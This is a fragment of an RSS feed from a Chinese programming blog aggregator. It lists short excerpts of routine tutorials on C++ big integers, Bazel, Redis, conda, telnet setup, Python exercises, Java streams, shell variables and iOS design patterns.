      <guid>https://bchobby.github.io/posts/e3a2f6d1e3e7e5312fd566102f5b9b9c/</guid>
      <description>两个大整数（如位数超过1000）的四则运算，显然基本数据类型已经不能保存，因此不能按照一般方法来计算，我们需要声明一个数组来保存每个整数，并且记录长度，即位数。数组中的每一个元素便对应整数当中的每一位，并且数组要提前初始化为0。在存每个数的时候按高位对应数组的高地址，低位对应低地址，即逆向存储。然后按运算法则对数组中的每一个元素即每一位进行运算。&#xA;注：为了方便起见，在读入大整数时将其以字符串的形式读入，然后再将其转换为int型存入数组。&#xA;一、大整数定义 const int MAX = 1000;//最大长度 typedef struct BigNumber {//大整数 int number[MAX];//保存每一位 int len;//位数 BigNumber() {//构造函数，初始化结构体变量 memset(number, 0, sizeof(number));//初始化数组每一位为0 len = 0;//初始化长度为0 } }; 二、字符串转化为整数 BigNumber convert(string str) { //将字符串转换为整形并保存在数组中 BigNumber a; int length = str.length(); a.len = length;//保存长度 for (int i = 0; i &amp;lt; length; ++i) {//逐位转换 a.number[i] = str[length - i - 1] - &#39;0&#39;; } return a; } 三、两个大整数的比较 #include &amp;lt;iostream&amp;gt; #include &amp;lt;cstring&amp;gt; using namespace std; const int MAX = 1000; typedef struct BigNumber { int number[MAX]; int len; BigNumber() { memset(number, 0, sizeof(number)); len = 0; } }; BigNumber convert(string str) { //将字符串转换为整形并保存在数组中 BigNumber a; int length = str.</description>
    </item>
    <item>
      <title>Linux下Bazel的简单使用</title>
      <link>https://bchobby.github.io/posts/43155f5a91cc68e0d277c7b4ff202d31/</link>
      <pubDate>Thu, 13 May 2021 13:11:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43155f5a91cc68e0d277c7b4ff202d31/</guid>
      <description>Bazel是谷歌推出的一套编译系统，这是官网，Github地址https://github.com/bazelbuild/bazel。官方描述其优点如下，&#xA;我觉得最大优点是支持多语言吧，Java，C++，Go等等都是原生支持，一套系统可以编译多个语言。下面就看下如何简单使用，本文使用Debian10，Ubuntu也是一样。&#xA;一 安装 首先要在系统中添加Bazel的apt repository，&#xA;sudo apt install curl gnupg curl -fsSL https://bazel.build/bazel-release.pub.gpg | gpg --dearmor &amp;gt; bazel.gpg sudo mv bazel.gpg /etc/apt/trusted.gpg.d/ echo &#34;deb [arch=amd64] https://storage.googleapis.com/bazel-apt stable jdk1.8&#34; | sudo tee /etc/apt/sources.list.d/bazel.list 然后更新一下，&#xA;sudo apt update 最后是安装，&#xA;sudo apt install bazel 也可以指定安装版本，本文写作时，其最新release版本是4.0.0，&#xA;sudo apt install bazel-4.0.0 如果安装时指定了版本，还需要创建一个软连接来连接一下，这样就可以在命令行使用bazel了&#xA;sudo ln -s /usr/bin/bazel-4.0.0 /usr/bin/bazel 最后看一下版本，以确认是否安装成功，&#xA;bazel --version # 4.0.0 二 使用 1. 简单例子 先来一个helloworld的例子，执行下面命令去创建工程，&#xA;mkdir -p stage1/main touch stage1/WORKSPACE touch stage1/main/hello.</description>
    </item>
    <item>
      <title>Redis之Set类型和SortedSet类型的介绍和案例应用</title>
      <link>https://bchobby.github.io/posts/ea20b78237a34c4aef059fec961ad532/</link>
      <pubDate>Thu, 13 May 2021 11:49:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea20b78237a34c4aef059fec961ad532/</guid>
      <description>一. Set类型基础&#xA;1. 类型说明&#xA;1个key→多个value，value的值不重复！&#xA;Set一种无序且元素内容不重复的集合，不用做重复性判断了，和我们数学中的集合概念相同，可以对多个集合求交集、并集、差集，key可以理解成集合的名字。&#xA;注：set 用哈希表来保持字符串的唯一性，没有先后顺序，是按照自己的一个存储方式来遍历，因为没有保存插入顺序。&#xA;2. 常用指令Api说明&#xA;3. 常用Api说明&#xA;(1).SetAdd：添加数据,可以单独1个key-1个value,也可以1个key-多个value添加&#xA;(2).SetLength：求key集合的数量&#xA;(3).SetContains：判断key集合中是否包含指定值&#xA;(4).SetRandomMember：随机获取指定key集合中的一个值或n个值&#xA;(5).SetMembers：获取key中的所有值,数据类型要一致，便于存储&#xA;(6).SetRemove：删除key集合中的指定value(1个或多个)&#xA;(7).SetPop：随机删除指定key集合中的一个值或n个值，并返回这些值。&#xA;(8).SetCombine：求多个元素的交并差&#xA;a.SetOperation.Intersect：交集&#xA;b.SetOperation.Union：并集&#xA;c.SetOperation.Difference：差集&#xA;(9).SetCombineAndStore：把多个元素的交并差，放到一个新的元素集合中&#xA;二. Set类型案例&#xA;1.抽奖&#xA;(1) 背景：用户参与抽奖,抽奖大致分两类：&#xA;A：只抽1次，1次抽n个人。&#xA;B：抽多次，比如三等奖抽3名，二等奖抽2名，一等奖抽1名。&#xA;(2) 技术分析：&#xA;主要利用Set结构元素的不重复性和获取随机数的方法来实现,以“specialPrize”为key，参与用户的id当做value&#xA;A：用户点击参与抽奖则执行SetAdd方法。&#xA;B：可以获取所有参与用户SetMembers 和 判断某个用户是否参与抽奖了SetContains&#xA;C：随机抽一次奖用SetRandomMember或SetRandomMembers，因为不需要删除&#xA;多次抽奖用SetPop,因为抽完要删掉。&#xA;(3) 代码分析&#xA;2. 微信或微博中消息的点赞(或者某篇文章的收藏)&#xA;(1). 背景&#xA;微信朋友圈用户A的某条消息的点赞功能，要实现点赞、取消点赞、获取点赞列表、获取点赞用户数量、判断某用户是否点赞过。&#xA;(2). 技术分析&#xA;利用Set结构, 以用户Id-消息id作为key，点赞过该消息的用户id作为value。&#xA;A：点赞 SetAdd方法&#xA;B：取消点赞 SetRemove方法&#xA;C：获取点赞列表 SetMembers方法&#xA;D：获取点赞用户数量 SetLength方法&#xA;E：判断某用户是否点赞过 SetContains方法&#xA;该案例容易理解，此处不写代码了。&#xA;3.关注模型&#xA;(1).背景&#xA;比如微博关注或者共同好友的问题，以微博关注为例，要实现：同时关注、关注的和、关注A的用户中也关注B的、当A进入B页面,求可能认识的人。&#xA;(2). 技术分析&#xA;利用Set结构，一个博主对应一个Set结构，博主的id作为key，关注该博主的用户id作为value。&#xA;A：关注和取消关注： SetAdd方法 和 SetRemove方法</description>
    </item>
    <item>
      <title>解决 No such file or directory问题</title>
      <link>https://bchobby.github.io/posts/73756e2ee4474ff7d0e4d8842a09b26b/</link>
      <pubDate>Thu, 13 May 2021 11:03:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73756e2ee4474ff7d0e4d8842a09b26b/</guid>
      <description>解决 No such file or directory问题 1、问题：写python时有时候会遇到底下报错No such file or directory，例如&#xA;出现了FileNotFoundError: [Errno 2] No such file or directory: ‘pgmpy/utils/example_models/asia.bif.gz’&#xA;2、错误的解决方法：\python\venv\Lib\site-packages\pgmpy\utils\的路径下创建example_models并在相关网站下载asia.bif.gz在该路径中。结果就是不行。&#xA;3、解决方法：&#xA;方法一：改变文件的读写路径，改变库里的读写路径（没试，第三方库不太好改）&#xA;方法二：在编写代码的上一级创建此目录，&#xA;在.py文件的上一级创建pgmpy/utils/example_models/asia.bif.gz，运行成功了</description>
    </item>
    <item>
      <title>Win系统下使用anaconda创建虚拟环境</title>
      <link>https://bchobby.github.io/posts/26bf59070db2fb47aae2edc3ab061eac/</link>
      <pubDate>Thu, 13 May 2021 08:44:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26bf59070db2fb47aae2edc3ab061eac/</guid>
      <description>linux系统下使用anaconda创建虚拟环境 创建虚拟环境 conda create -n xxxxx(你需要定义环境的名字) python=xxx(你需要的py版本) 激活环境： conda activate xxxxx(你的环境名字) 3.退出当前环境：&#xA;conda deactivate List item 配置国内源安装相关库：&#xA;因为我们大部分都在国内，科学上网没那么方便，所以借助国内源进行安装，网速不会受到限制。（我使用但是清华源），相比于国外，国内源可是飞一般的速度。&#xA;#配置常用库国内源，方便安装Numpy,Matplotlib等&#xA;conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ #配置国内源，安装PyTorch用&#xA;conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorch/ #显示源地址（方便我们确认下载地址）&#xA;conda config --set show_channel_urls yes 安装pytorch** 进入官网，选择自己要装的pytorch、torchvision、cudatoolkit等。&#xA;我要安装的是：&#xA;#CUDA 10.0&#xA;conda install pytorch==1.2.0 torchvision==0.4.0 cudatoolkit=10.0 -c pytorch 我在linusx系统下安装遇到的问题是：网络问题，老是下载不下来，遇到报错奇多，“中道崩殂”异常难受，于是选择了诸多解决办法：&#xA;其一：使用镜像源延长下载时间，同时提升下载速度&#xA;命令：&#xA;pip --default-timeout=100 install 库名称 -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.con&#xA;当然，也可以使用其他镜像源，当然我都失败了。&#xA;其二：最暴力的方法，直接安装离线文件。&#xA;直接离线包安装，离线包地址：torch本地文件下载地址&#xA;要找cuda版本的，否则会报无法支持的错误。&#xA;最主要的问题解决了，就可以开始安装其他包了，然后开始愉快的炼丹生活。</description>
    </item>
    <item>
      <title>红帽子linux开启telnet,[Linux]Redhat AS4开启telnet过程[转载]</title>
      <link>https://bchobby.github.io/posts/0d063115b42bed5a646d3c3b42ae39e5/</link>
      <pubDate>Thu, 13 May 2021 05:21:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d063115b42bed5a646d3c3b42ae39e5/</guid>
      <description>首先安装telnet包，使用rpm -ivh telnet...命令&#xA;1、确定你的telnet服务打开没有：&#xA;[root@111 ~]# chkconfig --list|grep telnet&#xA;telnet: off&#xA;krb5-telnet: off&#xA;[root@111 ~]#&#xA;注意检查结果这里是关闭状态&#xA;2、打开telnet服务：&#xA;[root@111 ~]# chkconfig --level 35 telnet on&#xA;[root@111 ~]# chkconfig --list|grep telnet&#xA;telnet: on&#xA;krb5-telnet: off&#xA;[root@111 ~]#&#xA;检查已经被打开了&#xA;3、修改登陆文件securetty,主要增加要登陆的终端点&#xA;[root@111 ~]# vi /etc/securetty&#xA;增加几个pts/x:&#xA;pts/0&#xA;pts/1&#xA;pts/2&#xA;pts/3&#xA;pts/4&#xA;pts/5&#xA;……&#xA;保存退出：&#xA;4、测试登录：&#xA;[root@111 ~]# telnet 192.168.0.201&#xA;Trying 192.168.0.201...&#xA;Connected to 111 (192.168.0.201).&#xA;Escape character is &#39;^]&#39;.&#xA;Red Hat Enterprise Linux AS release 4 (Nahant Update 3)</description>
    </item>
    <item>
      <title>mac pd linux,在 Mac 上更好运行 Windows，PD 16 来了</title>
      <link>https://bchobby.github.io/posts/6f8fb08bcbc5996aa22f66b4c03e8da6/</link>
      <pubDate>Thu, 13 May 2021 02:33:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f8fb08bcbc5996aa22f66b4c03e8da6/</guid>
      <description>Parallels Desktop for Mac 是一个无需重启即可在 Mac 上运行 Windows 的软件。近日，Parallels Desktop 更新到 16 版本，适合最新的 Windows 10 更新和 macOS Big Sur，售价 498 元起。&#xA;以下是详细信息：&#xA;关于 Parallels Desktop&#xA;在 Mac 上运行 Windows&#xA;在 MacBook， MacBook Pro， iMac， iMac Pro， Mac mini 或 Mac Pro上 同时使用 Windows 与 macOs (无需重启)。在Mac与Windows应用程序之间共享文件和文件夹、复制粘贴图像和文本，以及拖放文件。&#xA;Parallels Desktop 16 更新&#xA;未来准备&#xA;更适合最新的 Windows 10 更新和 macOS Big Sur(发布后)，设计焕然一新、安装更轻松等。Parallels Desktop 持续保持最新状态，因此即使弹出新的 macOS、Windows 或 Linux 版本，您也可以不间断地继续工作。&#xA;提升性能&#xA;Parallels Desktop 16 中的性能得到了大大提升，它是目前最快的 Parallels Desktop for Mac 版本，启动速度是旧版本的两倍。恢复和退出 Windows 系统的速度也最高提速 20%。Parallels Desktop 用户总共可运行超过 200,000 个 Windows 应用程序，而使用版本 16，您可以运行更多应用程序。</description>
    </item>
    <item>
      <title>关于Octave中自定义函数无法使用的问题</title>
      <link>https://bchobby.github.io/posts/8869f3965c781ab009060b972a50c0a8/</link>
      <pubDate>Wed, 12 May 2021 22:02:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8869f3965c781ab009060b972a50c0a8/</guid>
      <description>今天在继续学习吴恩达ML视频的时候发现函数定义之后无法正常使用，如图所示：&#xA;原因是用word编写好函数之后在matlab中打开编辑器显示是乱码，于是重新在txt文件中重新编写函数，经过实验之后成功了。&#xA;总结：在编写函数的时候如果出现定义失败，那可能是由于编辑器的问题，可以尝试改用txt文本。</description>
    </item>
    <item>
      <title>python练习题5</title>
      <link>https://bchobby.github.io/posts/df37be83790d3fd2a4b6c91fba1621cb/</link>
      <pubDate>Wed, 12 May 2021 20:42:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df37be83790d3fd2a4b6c91fba1621cb/</guid>
      <description>练习5 1.分三行将你的学号、姓名、和班级写入文本文件name.txt中，然后将文件name.txt中的内容输出到屏幕上显示。&#xA;with open(r&#34;E:\Code\python\pythonClass\ninth\name.txt&#34;,&#39;w&#39;,encoding=&#39;utf-8&#39;)as f: f.writelines(&#39;0001&#39; + &#39;\n&#39;) f.writelines(&#39;小明&#39; + &#39;\n&#39;) f.writelines(&#39;1702班&#39; + &#39;\n&#39;) f.close() with open(r&#34;E:\Code\python\pythonClass\ninth\name.txt&#34;,&#39;r&#39;,encoding=&#39;utf-8&#39;)as f: print(f.read()) f.close() 2.从一个文本文件grade.txt内读入任意多个学生的分数，求出最高分，最低分和平均分输出&#xA;with open(&#34;grade.txt&#34;, &#39;r&#39;) as f: ls = [] for s in f: s = s.strip(&#34;\n&#34;) ls.append(int(s)) print(max(ls)) print(min(ls)) print(&#34;{:.1f}&#34;.format(sum(ls)/len(ls))) 3.从文件in162.txt中读入10个以磅为单位的重量值，将其转换为以千克为单位的值并求和，将计算所得的和输出。说明：一磅等于0.454千克。&#xA;fo = open(&#39;in162.txt&#39;,&#39;r&#39;) s = fo.readline() a = [] ls = s.split(&#39; &#39;) for i in ls: a.append(eval(i)) sum = 0.0 for j in a: sum = sum + j wight = sum * 0.</description>
    </item>
    <item>
      <title>python练习题4</title>
      <link>https://bchobby.github.io/posts/b66470ddd8e15d5179c878c139c8d75c/</link>
      <pubDate>Wed, 12 May 2021 20:34:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b66470ddd8e15d5179c878c139c8d75c/</guid>
      <description>练习4 1.社区为了补助困难家庭，对所有收入低于2000元（不含2000元）的家庭，增加相当于其收入30%的补助。‪‬‪‬‪‬‪‬‪‬‮‬‪‬‮‬‪‬‪‬‪‬‪‬‪‬‮‬‭‬‪‬‪‬‪‬‪‬‪‬‪‬‮‬‭‬‫‬‪‬‪‬‪‬‪‬‪‬‮‬‭‬‫‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‫‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‪‬&#xA;编写程序实现：输入若干个家庭的收入列表（在同一行，以逗号隔开），计算并输出增加补助后的家庭收入列表。‪‬‪‬‪‬‪‬‪‬‮‬‪‬‮‬‪‬‪‬‪‬‪‬‪‬‮‬‭‬‪‬‪‬‪‬‪‬‪‬‪‬‮‬‭‬‫‬‪‬‪‬‪‬‪‬‪‬‮‬‭‬‫‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‫‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‪‬&#xA;输出的每个收入后跟一个空格，最后一个收入后没有空格。&#xA;money_list = list(eval(input())) new_list = [] for i in money_list: if i &amp;lt; 2000: i = i + i * 0.3 new_list.append(i) else: new_list.append(i+0.0) for i in new_list: print(i, end=&#39; &#39; if i != new_list[-1] else &#39;&#39;) 2 。 学校举办新生歌手大赛，每个选手的成绩由评委的评分去掉一个最高分和一个最低分剩下评分的平均值得到。‪‬‪‬‪‬‪‬‪‬‮‬‪‬‮‬‪‬‪‬‪‬‪‬‪‬‮‬‭‬‪‬‪‬‪‬‪‬‪‬‪‬‮‬‭‬‫‬‪‬‪‬‪‬‪‬‪‬‮‬‭‬‫‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‫‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‪‬&#xA;编写程序实现：输入第一行指定n，从第二行开始每行输入一个评委的得分（共n行），计算选手的成绩，并输出。&#xA;n=int(input()) min=100 max=0 sum=0 for i in range(0,n): s=float(input()) sum=sum+s if(s&amp;gt;max): max=s if(s&amp;lt;min): min=s sum=sum-min-max c=sum/(n-2) print(&#34;该歌手最终成绩为{:.1f}&#34;.format(c)) 3.计算Fibonacci数列的前20项的值，并保存到列表中。&#xA;用户输入序号（1~20），输出数列中相应的值。&#xA;def fib(n): if n == 0: return [0] elif n == 1: return [0, 1] else: lst = fib(n - 1) lst.</description>
    </item>
    <item>
      <title>python练习题2</title>
      <link>https://bchobby.github.io/posts/cedd558bb30f2e8710225cb781cddef5/</link>
      <pubDate>Wed, 12 May 2021 20:20:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cedd558bb30f2e8710225cb781cddef5/</guid>
      <description>练习2 1.将输入的字符串垂直输出&#xA;string = input() for i in string: print(i) 2.用户输入一个字符串，判断该字符串是否为回文，如是回文输出“是回文”，否则输出“不是回文”。&#xA;a = input(&#34;&#34;) b = a[::-1] if a == b: print(&#34;是回文&#34;) else: print(&#34;不是回文&#34;) 3.用户输入一个字符串，倒序输出。&#xA;a=input(&#34;&#34;) b=a[::-1] print(b) 4.用户输入一个小数，用format格式化输出，保留3位小数。&#xA;a=eval(input(&#34;&#34;)) print(&#34;{:.3f}&#34;.format(a)) 5.用户在三行中分别输入一个字符串s和两个整数m,n，输出字符串s中位于m和n（包括m但不包括n）之间的子字符串。&#xA;s=input(&#34;&#34;) m=int(input(&#34;&#34;)) n=int(input(&#34;&#34;)) print(s[m:n]) 6.输入一元二次方程三个系数，输出方程的解。&#xA;from math import * coef = input() # 处理coef字符串，获得一元二次方程的系数 coef = coef.split(&#34; &#34;) a = eval(coef[0]) b = eval(coef[1]) c = eval(coef[2]) d = b ** 2 - 4 * a * c if d &amp;lt; 0: # 如果方程无解 print(&#34;</description>
    </item>
    <item>
      <title>python练习题</title>
      <link>https://bchobby.github.io/posts/292c56e386f74dea11a15fb2d96f23b3/</link>
      <pubDate>Wed, 12 May 2021 19:53:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/292c56e386f74dea11a15fb2d96f23b3/</guid>
      <description>练习一 1.从键盘输入两个整数a,b，一个操作符op，计算并输出a op b的结果&#xA;a = int(input()) op = input() b = int(input()) if op == &#39;+&#39;: print(f&#39;{a}+{b}={a+b}&#39;) elif op == &#39;-&#39;: print(f&#39;{a}-{b}={a-b}&#39;) elif op == &#39;*&#39;: print(f&#39;{a}*{b}={a*b}&#39;) elif op == &#39;/&#39;: print(f&#39;{a}/{b}={a/b}&#39;) 2.用户输入三角形的长和宽，要求输出三角形的面积，保留小数点2位。&#xA;a = float(input()) b = float(input()) c = 0.5 * a * b print(&#34;{0:.2f}&#34;.format(c)) 3.根据键盘输入的PM值提示不同的信息&#xA;PM = float(input()) if 0 &amp;lt;= PM &amp;lt; 35: print(&#34;空气优质，快去户外运动！&#34;) elif 35 &amp;lt;= PM &amp;lt; 75: print(&#34;空气良好，适度户外活动！&#34;) elif PM &amp;gt;= 75: print(&#34;</description>
    </item>
    <item>
      <title>java8中stream().collect(Supplier＜R＞ supplier, BiConsumer＜R, ? super T＞ accumulator)说明</title>
      <link>https://bchobby.github.io/posts/8938d9c9200bfab582119d7e414b4c06/</link>
      <pubDate>Wed, 12 May 2021 18:12:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8938d9c9200bfab582119d7e414b4c06/</guid>
      <description>java8中提供了Lambda表达式，常用的操作如下：&#xA;list.stream().collect()来进行操作，collect中传入的参数如下：&#xA;&amp;lt;R&amp;gt; R collect(Supplier&amp;lt;R&amp;gt; supplier, BiConsumer&amp;lt;R, ? super T&amp;gt; accumulator, BiConsumer&amp;lt;R, R&amp;gt; combiner); Supplier 提供容器，供后续accumulator和combiner使用 public interface Supplier&amp;lt;T&amp;gt; { T get(); } Supplier只有一个方法，get返回一个容器，accumulator和combiner方法都会传入&#xA;accumulator 处理Supplier提供的T容器和stream中的元素U @FunctionalInterface public interface BiConsumer&amp;lt;T, U&amp;gt; { void accept(T t, U u); default BiConsumer&amp;lt;T, U&amp;gt; andThen(BiConsumer&amp;lt;? super T, ? super U&amp;gt; after) { Objects.requireNonNull(after); return (l, r) -&amp;gt; { accept(l, r); after.accept(l, r); }; } } accumulator 中的accept的方法接收两个参数，Supplier提供的容器T以及stream中的元素U，在accept方法中对其进行处理，常见的比如：T是一个ArrayList 将U类型元素添加到list中&#xA;combiner 用来将所有accumulator处理后的结果T进行处理 如果是多线程处理情况下，每个线程都会有一个supplier，最后需要将这些结果合并。&#xA;常见用法：&#xA;实现类实现 List&amp;lt;JSONObject&amp;gt; jsons = data.</description>
    </item>
    <item>
      <title>synopsys工具安装系列（四）- 安装vcs工具</title>
      <link>https://bchobby.github.io/posts/47a8a72079ce06bc4a1a881b6369ea64/</link>
      <pubDate>Wed, 12 May 2021 16:51:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47a8a72079ce06bc4a1a881b6369ea64/</guid>
      <description>安装vcs工具，需要借助installer工具来进行安装。&#xA;首先从官网下载vcs的安装包。我这里是vcs的最新版本，2020.12-SP1版本。&#xA;下载的安装包内容如下所示：&#xA;将该安装包，拷贝到内网服务器。&#xA;启动installer。然后填入安装包目录，点击Next。&#xA;installer工具会解压该安装包，等待一会即可。&#xA;在下一个界面，输入工具的安装位置。然后点击next。&#xA;工具选择页面，选择vcs。&#xA;在下一个界面，选择要安装的工具版本。这里根据自己的操作系统选择。我这里只下载了x86平台的，没有下载aarch64平台的。所以只有x86平台的选项。&#xA;工具确认界面，直接点击Accept,Install。进行安装。&#xA;工具安装中，等待安装完毕即可。&#xA;安装完毕，点击finish。&#xA;弹出的界面，点击dismiss。&#xA;自此，vcs工具安装完毕。</description>
    </item>
    <item>
      <title>linux局部变量特殊字符替换,shell变量替换（更具体）</title>
      <link>https://bchobby.github.io/posts/8cf55484ec234242e996df616b5e11f9/</link>
      <pubDate>Wed, 12 May 2021 16:20:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8cf55484ec234242e996df616b5e11f9/</guid>
      <description>一，SHELL本地变量：&#xA;本地变量就如同局部变量一样，只在本SHELL中起作用。它不会影响到其他SHELL中的变量。&#xA;格式：NAME=value&#xA;1，变量的调用：在变量前加$&#xA;$ echo $HOME&#xA;/home/hbwork&#xA;$ WEEK=Satur&#xA;$ echo Today is $WEEKday&#xA;Today is$echo Today is ${WEEK}day //若变量和其他字符组成新的字,这时就必须给变量加上大括号{}，以更加清楚的显示给shell,哪个是真正的变量，以实现字符串的合并等功能。&#xA;Today is Saturday&#xA;2，显示变量值&#xA;可以使用echo命令。需要注意的是，使用变量的时候必须在变量名前加上$符号。另外可以使用set命令，显示所有本地SHELL变量。包括SHELL中预定义了一些环境变量，且用户自己已经定义过的本地变量也会在其中显示。&#xA;3，Shell变量赋值从右到左进进行赋值(变量未赋值时，shell不报错，而是赋值为空!)&#xA;$ X=$Y Y=y&#xA;$ echo $X&#xA;y&#xA;$ Z=z Y=$Z&#xA;$ echo $Y&#xA;$&#xA;4，使用unset命令删除变量的赋值&#xA;$ Z=hello&#xA;$ echo $Z&#xA;hello&#xA;$ unset Z&#xA;$ echo $Z&#xA;$&#xA;5，有条件的命令替换 (测试变量是否已经赋值)&#xA;在Bourne Shell中可以使变量替换在特定条件下执行，即有条件的环境变量替换。 这种变量替换总是用大括号括起来的。&#xA;${variable: -value}变量替换时将使用命令行中定义的默认值，但变量的值并没有因此而改变。variable是一变量值，value是变量替换使用的默认值&#xA;例：$echo Hello $UNAME&#xA;结果显示:Hello&#xA;$echo Hello ${UNAME: -there}</description>
    </item>
    <item>
      <title>linux ubuntu下怎样将pdf格式文件转换为doc格式文件,Ubuntu环境下把word文档转成pdf，把pdf文件转成jpg...</title>
      <link>https://bchobby.github.io/posts/d92bf9f52410bbbeb54b2f710c61feab/</link>
      <pubDate>Wed, 12 May 2021 14:39:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d92bf9f52410bbbeb54b2f710c61feab/</guid>
      <description>环境搭建&#xA;使用语言 python3&#xA;安装imagemagick(pdf转jpg是内部需要调用到此工具)&#xA;apt-get install imagemagick&#xA;安装libreoffice(此工具用于将word文档转化成pdf文件)&#xA;apt-get install libreoffice&#xA;安装python wand，PIL库&#xA;pip install wand&#xA;pip install PIL&#xA;PDF转JPG&#xA;先转png，再转jpg是为了避免出现黑色，透明等背景，造成转换出来的图片与pdf文件显示不一样&#xA;from PIL import Image as Image2&#xA;from wand.image import Image&#xA;from wand.color import Color&#xA;def convert_pdf_to_jpg(filename):&#xA;end_length = len(filename.split(&#39;.&#39;)[-1]) + 1&#xA;title = filename[0:-end_length]&#xA;title = title.split(&#39;/&#39;)[-1]&#xA;#resolution为分辨率，background为背景颜色&#xA;with Image(filename=filename, resolution=150, background=Color(&#39;White&#39;)) as img :&#xA;#页数&#xA;length = len(img.sequence)&#xA;#如果页数超过1页，生成的文件名会依次加上页码数&#xA;with img.convert(&#39;png&#39;) as converted:&#xA;path = &#39;static/local_images/%s.png&#39; % title</description>
    </item>
    <item>
      <title>iOS 设计模式</title>
      <link>https://bchobby.github.io/posts/0da96a0bcd57a552c0a778bf03137ab9/</link>
      <pubDate>Wed, 12 May 2021 13:55:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0da96a0bcd57a552c0a778bf03137ab9/</guid>
      <description>一、六大设计原则 单一职责原则依赖倒置原则开闭原则里氏替换原则接口隔离原则迪米特法则 1、单一职责原则 一个类只负责一件事&#xA;2、依赖倒置原则 抽象不应该依赖于具体实现，具体实现可以依赖于抽象&#xA;3、开闭原则 对修改关闭、对扩展开放&#xA;4、里氏替换原则 父类可以被子类无缝替换，且原有功能不受任何影响&#xA;5、接口隔离原则 使用多个专门的协议，而不是一个庞大臃肿的协议&#xA;协议中的方法尽量少&#xA;6、迪米特法则 一个对象应当对其他对象有尽可能少的了解&#xA;高内聚、低耦合&#xA;二、责任链 问题：&#xA;解决方案：&#xA;BusinessObject.h&#xA;@class BusinessObject; typedef void(^CompletionBlock)(BOOL handled); typedef void(^ResultBlock)(BusinessObject * _Nullable handler, BOOL handled); @interface BusinessObject : NSObject // 下一个响应者（响应链构成的关键） @property (nonatomic, strong) BusinessObject *nextBusiness; // 响应者的处理方法 - (void)handle:(ResultBlock)result; // 各个业务在该方法当中做实际业务处理 - (void)handleBusiness:(CompletionBlock)completion; @end BusinessObject.m&#xA;#import &#34;BusinessObject.h&#34; @implementation BusinessObject // 责任链入口方法 - (void)handle:(ResultBlock)result { CompletionBlock completion = ^(BOOL handled) { // 当前业务处理掉了，上抛结果 if (handled) { result(self, handled); } else { // 沿着责任链，指派给下一个业务处理 if (self.</description>
    </item>
    <item>
      <title>小程序实现贴近原生端的 TabLayout &#43; ViewPager 切换效果</title>
      <link>https://bchobby.github.io/posts/9089f4ea9e60b6a1adfa9c961e6cd756/</link>
      <pubDate>Wed, 12 May 2021 11:25:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9089f4ea9e60b6a1adfa9c961e6cd756/</guid>
      <description>目录&#xA;前言&#xA;1.需求分析&#xA;2.具体实现&#xA;2.1效果展示&#xA;2.1.1常见样式&#xA;2.1.2 Tab 宽度等分&#xA;2.1.3 Page 内容不一致&#xA;2.1.4 Index 覆盖 Tab&#xA;2.2实现步骤&#xA;2.2.1布局分析&#xA;2.2.2功能实现&#xA;3.使用步骤&#xA;3.1基本使用&#xA;3.2属性说明 4.注意事项&#xA;5.最后&#xA;前言 最近被分配到做项目小程序端的任务，做到原生端常见的 TabLayout + ViewPager 实现的 Tab 切换页面时，发现小程序未提供类似可以直接使用的 TabLayout 组件。&#xA;网上搜寻发现小程序端需要实现 Tab 切换效果，多是通过 scroll-view 和 swiper 联动实现，并且 指示器 没有过渡效果，多是闪现跳到下一个 Tab 。因此自行研究实现接近原生端的 TabLayout 组件。&#xA;1.需求分析 下图是小程序 小米Lite 的 Tab 切换效果：切换 Page 时，Tab 下方的指示器（红色横条）是没有滚动效果而是直接闪现到下一个 Page 的，这也是市面上小程序常见的 Tab 切换效果。&#xA;小程序 小米Lite Tab切换效果 原生端 TabLayout 常见的功能就是我们的目标效果，所以 目标效果如下：&#xA;指示器（Index）具有切换过渡效果；指示器（Index）需可自定义，常见的有：可固定宽度、可与 Tab 内容等宽、可覆盖在 Tab 上；Tab 可自定义、可支持自动适应父控件宽度等分 Tab 宽度；当 Tab 总宽度超出父控件宽度时，Tab 行支持滚动且切换 Page 时保证当前 Tab 可见；支持 Page 切换监听 通过了解小程序组件及技术支持，选定通过 scroll-view 、swiper 、swiper-item 、movable-area 、movable-view 配合 插槽 和 抽象节点 来实现自定义组件 tab-layout 。</description>
    </item>
    <item>
      <title>Hanzoe带你写深度学习论文（一）</title>
      <link>https://bchobby.github.io/posts/cd7b4f4f291c60670c52ab6d938c269f/</link>
      <pubDate>Tue, 11 May 2021 19:43:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd7b4f4f291c60670c52ab6d938c269f/</guid>
